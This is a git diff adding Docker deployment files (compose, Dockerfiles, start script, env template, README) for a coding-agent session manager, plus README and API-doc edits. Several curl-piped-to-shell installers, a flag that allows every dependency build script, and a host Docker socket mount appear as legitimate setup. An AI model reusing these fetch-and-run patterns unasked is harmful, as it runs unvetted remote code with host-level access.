(Task tool)"] end end diff --git a/README.zh-CN.md b/README.zh-CN.md index 5d37a5c4..6d8d528b 100644 --- a/README.zh-CN.md +++ b/README.zh-CN.md @@ -58,7 +58,7 @@ curl -fsSL https://getcodeman.com/install | bash - **重跑即更新。** 再次运行同一条命令即可原地更新已完成的安装:`~/.codeman/app` 中的本地改动会被 stash(绝不丢弃),运行中的服务会自动重启并校验。若首次安装中途失败,重跑会继续完成完整的安装流程。也可以使用 `install.sh update` 与 `install.sh uninstall`。 - **CI / 无终端环境:** 没有终端时,涉及系统改动的步骤会带着说明中止,而不是静默执行;在自动化场景设置 `CODEMAN_NONINTERACTIVE=1` 即可批准这些步骤。 -你至少需要安装一个 AI 编程 CLI —— [Claude Code](https://docs.anthropic.com/en/docs/claude-code)、[OpenCode](https://opencode.ai)、[Codex](https://developers.openai.com/codex/cli)、[Antigravity](https://antigravity.google)、[Gemini CLI](https://github.com/google-gemini/gemini-cli)、[Pi](https://pi.dev) 或 [Grok Build](https://github.com/xai-org/grok-build)(任意组合均可;自 Google 面向消费者停售后,Gemini CLI 仅限企业版,Antigravity 是其继任者)。安装器会自动检测这七个中已安装的任意一个;若一个都没有,会提供安装 Claude Code 或 OpenCode 的选项,也可以选择跳过、稍后自行安装。安装完成后: +你至少需要安装一个 AI 编程 CLI —— [Claude Code](https://docs.anthropic.com/en/docs/claude-code)、[OpenCode](https://opencode.ai)、[Codex](https://developers.openai.com/codex/cli)、[Antigravity](https://antigravity.google)、[Gemini CLI](https://github.com/google-gemini/gemini-cli)、[Pi](https://pi.dev)、[Grok Build](https://github.com/xai-org/grok-build)、[DeepSeek Harness](https://github.com/deepseek-ai/deepseek-harness) 或 [OMP](https://github.com/can1357/oh-my-pi)(任意组合均可;自 Google 面向消费者停售后,Gemini CLI 仅限企业版,Antigravity 是其继任者)。安装器会自动检测这九个中已安装的任意一个;若一个都没有,会提供安装 Claude Code 或 OpenCode 的选项,也可以选择跳过、稍后自行安装。安装完成后: ```bash codeman web @@ -141,7 +141,7 @@ launchctl bootstrap gui/$(id -u) ~/Library/LaunchAgents/com.codeman.web.plist wsl bash -c "curl -fsSL https://getcodeman.com/install | bash" ``` -Codeman 依赖 tmux,因此 Windows 用户需要 [WSL](https://learn.microsoft.com/en-us/windows/wsl/install)。如果还没装 WSL:在管理员 PowerShell 中运行 `wsl --install`,重启,打开 Ubuntu,然后在 WSL 内安装你偏好的 AI 编程 CLI([Claude Code](https://docs.anthropic.com/en/docs/claude-code)、[OpenCode](https://opencode.ai)、[Codex](https://developers.openai.com/codex/cli)、[Antigravity](https://antigravity.google)、[Gemini CLI](https://github.com/google-gemini/gemini-cli)、[Pi](https://pi.dev) 或 [Grok Build](https://github.com/xai-org/grok-build))。安装完成后,即可从 Windows 浏览器访问 `http://localhost:3000`。 +Codeman 依赖 tmux,因此 Windows 用户需要 [WSL](https://learn.microsoft.com/en-us/windows/wsl/install)。如果还没装 WSL:在管理员 PowerShell 中运行 `wsl --install`,重启,打开 Ubuntu,然后在 WSL 内安装你偏好的 AI 编程 CLI([Claude Code](https://docs.anthropic.com/en/docs/claude-code)、[OpenCode](https://opencode.ai)、[Codex](https://developers.openai.com/codex/cli)、[Antigravity](https://antigravity.google)、[Gemini CLI](https://github.com/google-gemini/gemini-cli)、[Pi](https://pi.dev)、[Grok Build](https://github.com/xai-org/grok-build)、[DeepSeek Harness](https://github.com/deepseek-ai/deepseek-harness) 或 [OMP](https://github.com/can1357/oh-my-pi))。安装完成后,即可从 Windows 浏览器访问 `http://localhost:3000`。 diff --git a/docker/.env.example b/docker/.env.example new file mode 100644 index 00000000..70b128f7 --- /dev/null +++ b/docker/.env.example @@ -0,0 +1,76 @@ +# ============================================================================= +# Codeman Docker Compose environment template +# Copy this file to .env and set the values for the Docker host. +# ============================================================================= + +TZ=Australia/Perth + +# Optional overrides for direct `docker compose` use. The Bash start script +# detects these values from CODEMAN_APPDATA_PATH automatically. Compose uses +# 1000:1000 when the variables are omitted. +# PUID=1000 +# PGID=1000 + +# Name of the account that runs Codeman and all local CLI sessions. Changing +# this value rebuilds the image with a matching account. +CODEMAN_RUNTIME_USER=opencode + +# Required. Persistent Codeman application data, CLI credentials, and session +# state are stored here on the host and mounted at the runtime account's home +# directory in the container. +CODEMAN_APPDATA_PATH=/mnt/user/appdata/Coding/codeman + +# Optional. Absolute host path of this Codeman checkout, mounted at +# /opt/codeman so App Settings -> Updates can update Codeman in place. The Bash +# start script detects it from the compose file's own location, so it only needs +# setting for direct `docker compose` use or a checkout kept elsewhere. Point it +# at a directory that is not a git checkout and in-app updates are unavailable. +# CODEMAN_REPO_PATH=/mnt/user/appdata/Coding/codeman/app + +# Required for Docker cases. This must be an absolute path on the Docker host. +# Codeman and each isolated case use this same path, so it cannot be a +# container-only path such as /home/opencode/codeman-cases. +CODEMAN_CASES_PATH=/mnt/user/appdata/Coding/codeman/codeman-cases + +# Required. Network bind address, host port, and local image tag. +CODEMAN_HOST=0.0.0.0 +CODEMAN_PORT=3000 +CODEMAN_IMAGE=codeman:local + +# Required for any network-accessible Codeman instance. Use a unique, strong +# password. This file is safe to commit; copy it to .env and set the value. +CODEMAN_PASSWORD=changeme + +# Required. Username for Codeman HTTP Basic authentication. +CODEMAN_USERNAME=admin + +# Optional: authenticate Gemini CLI without an interactive login. +GEMINI_API_KEY= + +# Linux default. On Docker Desktop, use the socket path supported by your +# Docker installation when it differs from /var/run/docker.sock. +DOCKER_SOCKET=/var/run/docker.sock + +# Optional override for direct `docker compose` use. The Bash start script +# detects this from DOCKER_SOCKET automatically. The direct Compose default is +# 999, but the correct value depends on the Docker host. +# DOCKER_SOCKET_GID=999 + +# Set to 1 only when Docker-case hook callbacks are required. +CODEMAN_DOCKER_BRIDGE_HOOKS=0 + +# Set to 1 when `docker info` reports `SwapLimit=false`. The case memory limit +# remains active; Codeman omits --memory-swap and filters the daemon's exact +# unsupported-swap warning while preserving all other Docker create errors. +CODEMAN_DOCKER_DISABLE_SWAP_LIMIT=0 + +# Required only when applying the macvlan example in README.md. +CODEMAN_MACVLAN_NETWORK=br0.11 +CODEMAN_IPV4_ADDRESS=10.10.11.236 +CODEMAN_MAC_ADDRESS=02:10:11:00:00:EC + +# Required only when creating a new managed macvlan network, rather than using +# the external-network macvlan example. +CODEMAN_MACVLAN_PARENT=br0.11 +CODEMAN_MACVLAN_SUBNET=10.10.11.0/24 +CODEMAN_MACVLAN_GATEWAY=10.10.11.1 diff --git a/docker/README.md b/docker/README.md new file mode 100644 index 00000000..e03115e8 --- /dev/null +++ b/docker/README.md @@ -0,0 +1,108 @@ +# Codeman Docker deployment + +This folder contains the Compose configuration, server image Dockerfile, and environment template for a locally built Codeman server. + +## Start + +From the repository root, create the runtime environment file and set the required values, especially `CODEMAN_PASSWORD`. + +```sh +cp docker/.env.example docker/.env +bash docker/Start-Codeman.sh +``` + +On PowerShell, use the following command instead. + +```powershell +Copy-Item docker/.env.example docker/.env +docker compose --env-file docker/.env -f docker/docker-compose.yaml up --build -d +``` + +Every required value is defined and explained in `.env.example`. `GEMINI_API_KEY` is intentionally optional and may remain blank. + +On Linux, `Start-Codeman.sh` stops with an error when required paths are missing. It creates the application-data directory when safe, detects its numeric owner as `PUID:PGID`, and detects `DOCKER_SOCKET_GID` from the configured Docker socket. It rejects a root-owned application-data directory because Codeman and its local CLI sessions must remain unprivileged. + +Codeman, Claude, OpenCode, and other local sessions run as the unprivileged account named by `CODEMAN_RUNTIME_USER`, which defaults to `opencode`. When Compose is run directly, `PUID` and `PGID` default to `1000:1000`; set them in `.env` when the application-data directory has a different owner. The Bash start script determines them automatically instead. + +To retain Docker-case support without root when running Compose directly, set `DOCKER_SOCKET_GID` to the numeric group ID of the host socket. On a standard Linux Docker host, obtain it with `stat -c '%g' /var/run/docker.sock`. The Bash start script detects it automatically. + +## Updating + +Use **App Settings → Updates** in the web UI. The checkout Compose builds from is +also mounted at `/opt/codeman`, so an update's `git checkout` and rebuild persist +on the host, and the server exiting is what restarts the container onto the new +build. + +Releases that change `server.Dockerfile`, `docker-compose.yaml`, or add a key to +`.env.example` cannot be applied that way — the updater detects them, names what +changed, and asks you to run `Start-Codeman.sh` here on the host instead. Details: +[`../docs/docker-self-update.md`](../docs/docker-self-update.md). + +## Application data storage + +The default configuration uses a host-folder bind mount: + +```yaml +volumes: + - type: bind + source: ${CODEMAN_APPDATA_PATH} + target: /home/${CODEMAN_RUNTIME_USER} +``` + +Set `CODEMAN_APPDATA_PATH` in `.env` to a directory that the Docker daemon can access. The example value is `/mnt/user/appdata/Coding/codeman`. + +`CODEMAN_CASES_PATH` is the separate host directory for managed case workspaces. It is mounted into Codeman at the same absolute path, allowing the host Docker daemon to bind it into an isolated case container. Set it to a child directory of `CODEMAN_APPDATA_PATH` unless you deliberately store workspaces elsewhere. + +Compose also exposes `CODEMAN_APPDATA_PATH` to Codeman as `CODEMAN_DOCKER_HOST_HOME`. This lets Docker case seed files, CLI credentials and the hook secret be mounted using paths that exist in the host daemon's filesystem. Direct host installations do not set this variable and retain their existing behaviour. + +Set `CODEMAN_DOCKER_DISABLE_SWAP_LIMIT=1` when `docker info` reports `SwapLimit=false`. Codeman continues to apply the configured case memory limit, omits Docker's unsupported `--memory-swap` option, and filters only the daemon's exact swap-capability warning. Every other Docker create error and its exit status remain visible. + +For an existing installation created by a root-running image, change ownership of the application-data directory before upgrading so the configured `PUID` and `PGID` can read the saved credentials and state: + +```sh +chown -R 99:100 /mnt/user/appdata/Coding/codeman +``` + +Replace `99:100` and the path with the values from your `.env` file. + +Do not replace this bind mount with a Docker-managed named volume when Docker cases are enabled. Codeman passes seed, credential, transcript and hook-secret bind sources to the host Docker daemon, so their source files must have stable paths in the daemon's filesystem. A named volume does not provide the required host path mapping. + +## Static macvlan networking + +The default configuration publishes a host port. It does not use `network_mode: host`. To attach Codeman directly to an existing external macvlan network with a static IP address and MAC address, remove the `ports:` section and add the following to the `codeman` service: + +```yaml +mac_address: ${CODEMAN_MAC_ADDRESS} +networks: + codeman_lan: + ipv4_address: ${CODEMAN_IPV4_ADDRESS} +``` + +Then add this top-level network declaration: + +```yaml +networks: + codeman_lan: + external: true + name: ${CODEMAN_MACVLAN_NETWORK} +``` + +Set `CODEMAN_MACVLAN_NETWORK`, `CODEMAN_IPV4_ADDRESS`, and `CODEMAN_MAC_ADDRESS` in `.env`. The values in `.env.example` match the supplied Unraid example network and should be changed for other hosts. + +### Create a managed macvlan network + +If an external macvlan network does not already exist, use this top-level declaration instead. Do not use it together with the external-network declaration. + +```yaml +networks: + codeman_lan: + driver: macvlan + driver_opts: + parent: ${CODEMAN_MACVLAN_PARENT} + ipam: + config: + - subnet: ${CODEMAN_MACVLAN_SUBNET} + gateway: ${CODEMAN_MACVLAN_GATEWAY} +``` + +Macvlan containers are ordinarily not reachable from their Docker host without additional host-network routing. Confirm the selected address, MAC address, parent interface, and subnet are reserved and valid for the target network before starting the stack. diff --git a/docker/Start-Codeman.sh b/docker/Start-Codeman.sh new file mode 100644 index 00000000..c0294fe4 --- /dev/null +++ b/docker/Start-Codeman.sh @@ -0,0 +1,129 @@ +#!/usr/bin/env bash + +set -euo pipefail + +script_dir=$(cd -- "$(dirname -- "${BASH_SOURCE[0]}")" && pwd) +env_file="$script_dir/.env" +compose_file="$script_dir/docker-compose.yaml" + +if [[ ! -f "$env_file" ]]; then + printf 'Error: Docker environment file is missing: %s\n' "$env_file" >&2 + printf 'Create it from %s/.env.example before starting Codeman.\n' "$script_dir" >&2 + exit 1 +fi + +compose_command=(docker compose --env-file "$env_file" -f "$compose_file") +appdata_path=$( + "${compose_command[@]}" config --environment | + awk -F= '$1 == "CODEMAN_APPDATA_PATH" { sub(/^[^=]*=/, ""); print; exit }' +) +docker_socket=$( + "${compose_command[@]}" config --environment | + awk -F= '$1 == "DOCKER_SOCKET" { sub(/^[^=]*=/, ""); print; exit }' +) + +if [[ -z "$appdata_path" ]]; then + printf 'Error: CODEMAN_APPDATA_PATH is not set in %s\n' "$env_file" >&2 + exit 1 +fi + +if [[ ! -d "$appdata_path" ]]; then + if [[ "$EUID" == '0' ]]; then + printf 'Error: Refusing to create CODEMAN_APPDATA_PATH as root: %s\n' "$appdata_path" >&2 + printf 'Create it as the unprivileged account that should run Codeman, then retry.\n' >&2 + exit 1 + fi + mkdir -p -- "$appdata_path" +fi + +if owner_ids=$(stat -c '%u:%g' -- "$appdata_path" 2>/dev/null); then + : +elif owner_ids=$(stat -f '%u:%g' "$appdata_path" 2>/dev/null); then + : +else + printf 'Error: Cannot determine the owner of CODEMAN_APPDATA_PATH: %s\n' "$appdata_path" >&2 + exit 1 +fi + +export PUID=${owner_ids%%:*} +export PGID=${owner_ids##*:} + +if [[ "$PUID" == '0' ]]; then + printf 'Error: CODEMAN_APPDATA_PATH is owned by root: %s\n' "$appdata_path" >&2 + printf 'Change the directory ownership to the unprivileged account that should run Codeman.\n' >&2 + exit 1 +fi + +if [[ -z "$docker_socket" || ! -S "$docker_socket" ]]; then + printf 'Error: DOCKER_SOCKET is not a Unix socket: %s\n' "${docker_socket:-}" >&2 + exit 1 +fi + +if socket_ids=$(stat -c '%u:%g' -- "$docker_socket" 2>/dev/null); then + : +elif socket_ids=$(stat -f '%u:%g' "$docker_socket" 2>/dev/null); then + : +else + printf 'Error: Cannot determine the owner of DOCKER_SOCKET: %s\n' "$docker_socket" >&2 + exit 1 +fi + +export DOCKER_SOCKET_GID=${socket_ids##*:} + +repo_path=${CODEMAN_REPO_PATH:-$(cd -- "$script_dir/.." && pwd)} +if [[ ! -d "$repo_path" ]]; then + printf 'Error: CODEMAN_REPO_PATH is not a directory: %s\n' "$repo_path" >&2 + exit 1 +fi +export CODEMAN_REPO_PATH="$repo_path" + +# The in-app updater runs `git checkout` and `npm install` against this checkout +# as PUID:PGID. If the directory belongs to someone else, git refuses outright +# ("detected dubious ownership") and the update fails at the first step — so warn +# here, where the fix is obvious, rather than in a failed update hours later. +if repo_owner=$(stat -c '%u' -- "$repo_path" 2>/dev/null || stat -f '%u' "$repo_path" 2>/dev/null); then + if [[ "$repo_owner" != "$PUID" ]]; then + printf 'Warning: %s is owned by UID %s but Codeman runs as UID %s.\n' "$repo_path" "$repo_owner" "$PUID" >&2 + printf 'In-app updates will fail until the ownership matches. Codeman itself still starts.\n' >&2 + fi +fi + +if [[ ! -d "$repo_path/.git" ]]; then + printf 'Note: %s is not a git checkout, so in-app updates are unavailable.\n' "$repo_path" >&2 +fi + +# Record what the container is about to be built and created FROM. The in-app +# updater compares these against the release it wants to apply: a release that +# changes either file cannot be applied by the container restarting itself (a +# restart reuses the existing image and config), so it is refused and the user +# is sent back here. Written on every start, so the baseline always describes +# the container that is actually running. See docs/docker-self-update.md. +if command -v sha256sum >/dev/null 2>&1; then + sha256_of() { sha256sum -- "$1" | cut -d' ' -f1; } +elif command -v shasum >/dev/null 2>&1; then + sha256_of() { shasum -a 256 -- "$1" | cut -d' ' -f1; } +else + sha256_of() { printf ''; } +fi + +dockerfile_sha=$(sha256_of "$script_dir/server.Dockerfile") +compose_sha=$(sha256_of "$compose_file") +if [[ -n "$dockerfile_sha" && -n "$compose_sha" ]]; then + # $CODEMAN_APPDATA_PATH is mounted at the runtime account's home, so this is + # dataPath('docker-env-applied.json') as the server inside the container sees it. + state_dir="$appdata_path/.codeman" + mkdir -p -- "$state_dir" + printf '{\n "dockerfileSha256": "%s",\n "composeSha256": "%s"\n}\n' \ + "$dockerfile_sha" "$compose_sha" >"$state_dir/docker-env-applied.json.tmp" + mv -- "$state_dir/docker-env-applied.json.tmp" "$state_dir/docker-env-applied.json" + # A root-run start (common on Unraid) would otherwise leave a root-owned + # `.codeman` on a FIRST start, before the container has created it as PUID, + # and the unprivileged server could then never write its own state there. + if [[ "$EUID" == '0' ]]; then + chown -- "$PUID:$PGID" "$state_dir" "$state_dir/docker-env-applied.json" + fi +else + printf 'Warning: no sha256 tool found; in-app updates will not detect environment changes.\n' >&2 +fi + +exec docker compose --env-file "$env_file" -f "$compose_file" up --build -d diff --git a/docker/agent.Dockerfile b/docker/agent.Dockerfile index 36213aaa..26885c50 100644 --- a/docker/agent.Dockerfile +++ b/docker/agent.Dockerfile @@ -76,9 +76,32 @@ RUN curl -fsSL https://x.ai/cli/install.sh | bash \ # Codeman deliberately does NOT seed `profiles/` from the host: it is a # per-profile node_modules tree, host-arch-specific and far too large to copy on # every container start. -RUN npm install -g @deepseek-ai/dsh \ +# ⚠️ `pnpm` is a HARD dependency of `dsh plugin`, not optional tooling: the +# subcommand is a thin forwarder that `spawnSync`s a literal `pnpm` with no +# fallback to npm, so on an image without it the profile install below dies +# with `dsh: pnpm not found on PATH` / exit 127 and takes the whole build with +# it (issue #352). It stays on PATH at runtime too, so a container user can run +# `dsh plugin add` themselves. +RUN npm install -g @deepseek-ai/dsh pnpm \ && npm cache clean --force \ - && dsh --version + && dsh --version \ + && pnpm --version + +# OMP (Oh My Pi) is NOT on npm: a standalone binary via omp.sh's installer, which +# targets $HOME/.local/bin with no --dir override (verified 2026-08-27 — the +# resolver's OMP_SEARCH_DIRS lists ~/.omp/bin first, which turned out to be the +# WRONG guess for the installer's actual target; build this step for real +# rather than trust that ordering). At build time $HOME is root's home and +# unreachable by the `agent` user, so copy the binary into /usr/local/bin and +# drop root's ~/.local/bin/omp in the same layer so the image does not carry +# the download twice. +RUN curl -fsSL https://omp.sh/install | sh \ + && cp -L /root/.local/bin/omp /usr/local/bin/omp.real \ + && rm -f /usr/local/bin/omp \ + && mv /usr/local/bin/omp.real /usr/local/bin/omp \ + && chmod 755 /usr/local/bin/omp \ + && rm -f /root/.local/bin/omp \ + && omp --version # `agent` user (gid 0) with an arbitrary-uid-writable HOME. The uid is # auto-assigned (node:22-slim already occupies uid 1000 with its `node` user); at @@ -106,12 +129,27 @@ ENV HOME=/home/agent # writable by the arbitrary uid the container actually runs as, and a profile # installed after it would miss that fixup. DSH_HOME points the launcher at the # agent's dir while this still runs as root. +# ⚠️ `dangerouslyAllowAllBuilds` is what keeps that profile install from becoming +# the next #352. pnpm (unlike npm) blocks dependency lifecycle scripts by default +# and FAILS the install over it — `ERR_PNPM_IGNORED_BUILDS`, exit 1, measured on +# pnpm 11.24 — so any package in the tui's tree that ships one stops the build +# dead. An allowlist of the offenders rots: `@deepseek-harness-tui/dsh-tui` is +# resolved by dist-tag, not pinned, and 0.9.3 pulled `@google/genai` (a +# `preinstall: no-op`) where 0.10.0-beta.x does not, so the names to allow move +# under us between rebuilds. Allowing them wholesale is also the SAME exposure +# this image already accepts three layers up: `npm install -g` runs the install +# scripts of every transitive dep of the five CLIs above it, with no gate at all. +# `.omp/agent` is pre-created for the same reason `.codex` is: it is a MIXED +# store (per-file config seeds PLUS a shared `sessions/` RW bind mount for +# Codeman's own host-side history/resume reads), and neither kind of artifact +# creates its own parent directory. RUN useradd -g 0 -m -d /home/agent -s /bin/bash agent \ && mkdir -p /home/agent/.npm /home/agent/.cache /home/agent/.config /home/agent/.codeman \ /home/agent/.claude/projects /home/agent/.codex/sessions /home/agent/.pi/agent /home/agent/.grok \ - /home/agent/.dsh \ + /home/agent/.dsh /home/agent/.omp/agent \ && DSH_HOME=/home/agent/.dsh HOME=/home/agent \ - dsh plugin --profile dsh-tui add @deepseek-harness-tui/dsh-tui \ + dsh plugin --profile dsh-tui add --config.dangerouslyAllowAllBuilds=true \ + @deepseek-harness-tui/dsh-tui \ && test -f /home/agent/.dsh/profiles/dsh-tui/package.json \ && chgrp -R 0 /home/agent \ && chmod -R g=u /home/agent diff --git a/docker/docker-compose.yaml b/docker/docker-compose.yaml new file mode 100644 index 00000000..ca61796a --- /dev/null +++ b/docker/docker-compose.yaml @@ -0,0 +1,111 @@ +name: codeman + +services: + codeman: + build: + context: .. + dockerfile: docker/server.Dockerfile + args: + CODEMAN_RUNTIME_USER: ${CODEMAN_RUNTIME_USER} + PGID: ${PGID:-1000} + PUID: ${PUID:-1000} + image: ${CODEMAN_IMAGE} + init: true + restart: unless-stopped + ports: + - "${CODEMAN_PORT}:${CODEMAN_PORT}" + environment: + # Tells the self-updater to restart by exiting (the restart policy below + # relaunches it) rather than by looking for an init system that is not + # here. Also set in the image; repeated so a container started without the + # image default still self-identifies. + CODEMAN_IN_CONTAINER: "1" + # This file sets `restart: unless-stopped` below, so the updater may restart + # the server by EXITING. Declared here and only here, never in the image: a + # container started by plain `docker run` has no restart policy unless the + # operator gave it one, and there the updater asks the daemon instead and + # stages the update for a manual restart when it cannot get an answer. + CODEMAN_RESTART_BY_EXIT: "1" + CODEMAN_DOCKER_BRIDGE_HOOKS: ${CODEMAN_DOCKER_BRIDGE_HOOKS} + # Host-side equivalent of the runtime user's HOME. Docker case seed, + # credential and hook mounts are translated into the daemon namespace. + CODEMAN_DOCKER_HOST_HOME: ${CODEMAN_APPDATA_PATH} + CODEMAN_DOCKER_DISABLE_SWAP_LIMIT: ${CODEMAN_DOCKER_DISABLE_SWAP_LIMIT} + CODEMAN_CASES_PATH: ${CODEMAN_CASES_PATH} + CODEMAN_HOST: ${CODEMAN_HOST} + CODEMAN_PASSWORD: ${CODEMAN_PASSWORD} + CODEMAN_PORT: ${CODEMAN_PORT} + CODEMAN_USERNAME: ${CODEMAN_USERNAME} + GEMINI_API_KEY: ${GEMINI_API_KEY} + PGID: ${PGID:-1000} + PUID: ${PUID:-1000} + TZ: ${TZ} + group_add: + # Retain access to the host Docker socket without running as root. + - ${DOCKER_SOCKET_GID:-999} + volumes: + # Application data and CLI credentials persist on the configured host + # path, rather than in a Docker-managed volume. + - type: bind + source: ${CODEMAN_APPDATA_PATH} + target: /home/${CODEMAN_RUNTIME_USER} + # Docker cases are sibling containers on the host daemon. Their workspace + # must be visible to Codeman at the same absolute path used by that daemon. + - type: bind + source: ${CODEMAN_CASES_PATH} + target: ${CODEMAN_CASES_PATH} + # Codeman uses the host daemon to create isolated Docker cases. This is + # Docker-outside-of-Docker, not Docker-in-Docker. + - type: bind + source: ${DOCKER_SOCKET} + target: /var/run/docker.sock + # The application source, so App Settings -> Updates can update in place. + # This is the SAME checkout used as the build context above, mounted over + # the image's baked copy: a `git checkout` performed inside the container + # then lands on the host and survives the container being recreated. + # Without it the pull would go to the container's writable layer and be + # silently discarded by the next `up`. See docs/docker-self-update.md. + # Defaults to `..` — the build context above — which Compose resolves + # against the project directory, so plain `docker compose up` works with + # no extra configuration. Set CODEMAN_REPO_PATH only to point elsewhere. + - type: bind + source: ${CODEMAN_REPO_PATH:-..} + target: /opt/codeman + # Build artefacts live in named volumes layered OVER the repo bind mount, + # so `npm install` and `npm run build` inside the container never write + # into the host checkout. That keeps container-compiled native modules + # (node-pty is built from source here) out of a checkout that may also be + # used to run Codeman natively, and keeps `git status` clean. Docker seeds + # an EMPTY named volume from the image, so the first start inherits the + # image's already-built node_modules and dist rather than paying for a + # bootstrap build. + - type: volume + source: codeman-node-modules + target: /opt/codeman/node_modules + - type: volume + source: codeman-dist + target: /opt/codeman/dist + extra_hosts: + - "host.docker.internal:host-gateway" + security_opt: + - no-new-privileges:true + cap_drop: + - ALL + healthcheck: + test: + - CMD-SHELL + - >- + node -e "fetch('http://127.0.0.1:${CODEMAN_PORT}/api/status').then((response) => process.exit(response.status < 500 ? 0 : 1)).catch(() => process.exit(1))" + interval: 30s + timeout: 5s + retries: 3 + start_period: 30s + +volumes: + # Container-owned build artefacts. They persist across container recreation, + # so an in-app update's `npm install` output is not thrown away by the next + # `up`, and they are seeded from the image on first use. Removing them (or + # `docker compose down -v`) is the supported reset: the next start rebuilds + # from the image. + codeman-node-modules: + codeman-dist: diff --git a/docker/server.Dockerfile b/docker/server.Dockerfile new file mode 100644 index 00000000..ecb00d14 --- /dev/null +++ b/docker/server.Dockerfile @@ -0,0 +1,142 @@ +# syntax=docker/dockerfile:1 + +# Build the application from the checkout supplied as the Docker build context. +# No published Codeman application image is required. +FROM node:22-bookworm-slim AS build + +RUN apt-get update \ + && apt-get install -y --no-install-recommends python3 make g++ \ + && rm -rf /var/lib/apt/lists/* + +WORKDIR /opt/codeman + +COPY . . + +# devDependencies are deliberately KEPT (no `npm prune --omit=dev`). The in-app +# updater rebuilds from inside this container, and `npm run build` is tsc + +# esbuild — both devDependencies. Pruning them saves image size and takes the +# self-updater with it. See docs/docker-self-update.md. +RUN npm ci \ + && npm run build \ + && npm cache clean --force + +# The Docker CLI talks to the host daemon through the socket mounted by +# docker/docker-compose.yaml. It does not run a Docker daemon in this container. +FROM node:22-bookworm-slim + +ARG CODEMAN_RUNTIME_USER=opencode +ARG PUID=1000 +ARG PGID=1000 + +# python3/make/g++ are here for the SELF-UPDATER, not for this build. An update +# runs `npm install` inside the running container, and node-pty ships no Linux +# prebuild, so a release that bumps it compiles from source right here. Without +# a toolchain that install fails and the update rolls back — every time, on the +# releases that need it most. Same reason install.sh installs one on bare hosts. +RUN apt-get update \ + && apt-get install -y --no-install-recommends \ + ca-certificates \ + curl \ + g++ \ + git \ + make \ + openssh-client \ + procps \ + python3 \ + ripgrep \ + tmux \ + && rm -rf /var/lib/apt/lists/* + +# The Docker CLI, taken from the official image rather than Debian's `docker.io`. +# That package is the full ENGINE: with --no-install-recommends it still pulls 15 +# packages including containerd, runc, dmsetup and iptables, none of which a +# client that only talks to a mounted socket can use. Measured on top of this +# base image: `docker.io` costs 266 MB and ships Docker 20.10.24 (2023), while +# these two files cost 108 MB and ship the current CLI (493 MB vs 335 MB total). +# +# The binaries are STATIC Go builds, so they run on this glibc image even though +# the image they come from is Alpine (verified: `docker --version`, `docker ps` +# and `docker build` all work here against a mounted host socket). +# +# buildx is copied on purpose. `scripts/build-agent-image.mjs` shells out to +# `docker build` — Codeman auto-builds the agent image on the first Docker case — +# and without the plugin that silently falls back to the CLASSIC builder, which +# Docker has deprecated and will eventually drop. `docker-compose` is NOT copied: +# Codeman never shells out to it. +COPY --from=docker:29-cli /usr/local/bin/docker /usr/local/bin/docker +COPY --from=docker:29-cli \ + /usr/local/libexec/docker/cli-plugins/docker-buildx \ + /usr/local/libexec/docker/cli-plugins/docker-buildx + +# Keep credentials out of the image. Users authenticate these CLIs at runtime +# through Codeman sessions, and the configured host bind mount retains state. +# +# ⚠️ PINNED ON PURPOSE. Unpinned, the agent CLI versions a user ends up with are +# a function of WHEN their image was built, not of any commit — so a Codeman +# release that depends on newer CLI behaviour (the trust-dialog handling is +# pinned to Claude Code 2.1.252's layout; wheel forwarding to >= 2.1.187) breaks +# on an older image with no diff anywhere to explain why. In-app updates make +# rebuilds RARER, which makes that drift worse. Pinning turns "this release needs +# a newer CLI" into a Dockerfile change, which the updater's environment gate +# already detects and refuses (docs/docker-self-update.md). +# +# Bump these deliberately, in a release. `--no-cache` is still needed to rebuild +# this layer when only the pins change upstream. +RUN npm install --global \ + @anthropic-ai/claude-code@2.1.258 \ + @google/gemini-cli@0.58.0 \ + @openai/codex@0.152.1 \ + opencode-ai@1.18.26 \ + && npm cache clean --force + +# Keep the web server and every local Codeman session unprivileged. PUID and +# PGID match the host-owned application-data directory mounted by Compose. The +# requested GID may not exist in the base image, and a host UID such as 1000 may +# already belong to the baked `node` account, so handle both cases explicitly. +RUN set -eux; \ + case "${PUID}" in ''|*[!0-9]*) echo "PUID must be numeric" >&2; exit 1;; esac; \ + case "${PGID}" in ''|*[!0-9]*) echo "PGID must be numeric" >&2; exit 1;; esac; \ + if [ "${PUID}" -eq 0 ]; then \ + echo "PUID must identify an unprivileged account, not root" >&2; \ + exit 1; \ + fi; \ + if ! getent group "${PGID}" >/dev/null; then \ + groupadd --gid "${PGID}" codeman-runtime; \ + fi; \ + existing_user="$(getent passwd "${PUID}" | cut -d: -f1 || true)"; \ + if [ -n "${existing_user}" ]; then \ + usermod \ + --login "${CODEMAN_RUNTIME_USER}" \ + --gid "${PGID}" \ + --home "/home/${CODEMAN_RUNTIME_USER}" \ + --move-home \ + --shell /bin/bash \ + "${existing_user}"; \ + else \ + useradd \ + --uid "${PUID}" \ + --gid "${PGID}" \ + --create-home \ + --home-dir "/home/${CODEMAN_RUNTIME_USER}" \ + --shell /bin/bash \ + "${CODEMAN_RUNTIME_USER}"; \ + fi + +WORKDIR /opt/codeman + +COPY --from=build /opt/codeman /opt/codeman + +# CODEMAN_IN_CONTAINER tells the self-updater it must restart by exiting rather +# than by asking an init system that is not here (src/web/self-update.ts). +# NODE_ENV stays `production`; the updater passes `npm install --include=dev` +# explicitly, since that value would otherwise omit the build toolchain. +ENV CODEMAN_IN_CONTAINER=1 \ + CODEMAN_PORT=3000 \ + HOME=/home/${CODEMAN_RUNTIME_USER} \ + NODE_ENV=production + +EXPOSE 3000 + +USER ${CODEMAN_RUNTIME_USER} + +CMD ["node", "dist/index.js", "web"] diff --git a/docs/api-reference.md b/docs/api-reference.md index cd709c7a..dcd0d631 100644 --- a/docs/api-reference.md +++ b/docs/api-reference.md @@ -204,11 +204,16 @@ turn. The reliable sequence is: poll `GET /api/v1/sessions/:id` until `.data.pid` is non-null, then `wait-output` for the composer's own marker (`bypass`, the status bar of a CLI spawned in bypass mode) with a short timeout, handling the trust -dialog only as the bounded fallback (`trust` matched → send `\r` → wait for -`bypass` again). Do not probe `trust` first and Enter blindly: the dialog text -stays in the terminal buffer for the life of the session, so a `trust` probe with -`from=buffer` keeps matching on every later run and the Enter lands in a ready -composer. A worked version is in +dialog only as the bounded fallback. + +⚠️ **The fallback is not a bare `\r`.** Claude Code 2.1.252 unnumbered the dialog's +options, reversed them and highlights `No, exit`, so an Enter sent blind quits the +CLI and the pane dies seconds after the spawn. Read the `❯` marker off the current +frame (`GET /api/v1/sessions/:id/terminal?full=1`), send `ESC [ B` while it is on +`No, exit`, re-read, and confirm only once it is on `Yes, I trust this folder`. 